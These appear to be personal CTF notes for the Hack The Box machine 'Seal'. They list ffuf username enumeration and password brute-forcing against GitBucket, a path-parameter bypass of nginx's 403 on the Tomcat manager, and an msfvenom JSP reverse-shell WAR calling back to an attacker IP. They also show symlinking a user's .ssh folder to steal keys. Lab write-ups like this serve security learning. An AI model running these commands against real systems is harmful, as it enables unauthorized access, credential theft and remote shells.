> For the complete documentation index, see [llms.txt](https://ressurect.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ressurect.gitbook.io/notes/hack-the-box/seal.md).

# Seal

* Register a new account at gitbucket
* Bruteforce

  ffuf -u <http://10.10.10.250:8080>/register/validate -X POST -d "userName=FUZZ\&password=test123\&fullName=test\&mailAddress=test\&extraMailAddresses%5B0%5D=test\&extraMailAddresses%5B1%5D=\&url=\&description=\&fileId=" -w ../userlist.txt -mr already -s -H "Content-Type: application/x-www-form-urlencoded;"<br>
* Valid usernames\
  alex\
  root\
  luis<br>

\
ffuf -u <http://10.10.10.250:8080>/signin -X POST -d "userName=root\&password=FUZZ\&hash=" -w ../rockyou.txt -fr signin -s -H "Content-Type: application/x-www-form-urlencoded;"<br>

* Remove mutual authentication, setup registration and login features
* \<user username="tomcat" password="\[redacted]" roles="manager-gui,admin-gui"/><br>
* Bypass nginx reverse proxy 403 \[nginx -> tomcat]

  \
  <https://10.10.10.250/manager;a=b/html/\\>
  <https://10.10.10.250/manager/;a=b/html/upload?org.apache.catalina.filters.CSRF\\_NONCE=B07EF0732BE104396355D26DD2A56CEE> \[upload war file]
* msfvenom --list payloads | grep -ie war
* msfvenom -p java/jsp\_shell\_reverse\_tcp -f war LHOST=10.10.14.76 LPORT=7901 -o shell.war
* tty shell\
  python3 -c 'import pty; pty.spawn("/bin/bash")'<br>
* Create a soft link\
  ln -s /home/luis/.ssh /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/ressurect
* ansible run.yml\
  format: zip\
  mode: 0777
* ansible\
  if being run by root, create a soft link ln -s of ssh folder and create a zip archive<br>

\-----------------------------------------------------------------------\
Path:\
• ~~bruteforce root login?~~\
• ~~edit nginx config file to bypass 403~~\
• bypass nginx\
• upload war file on tomcat manager to gain reverse shell \[root flag]\
• how is registration happening at gitbucket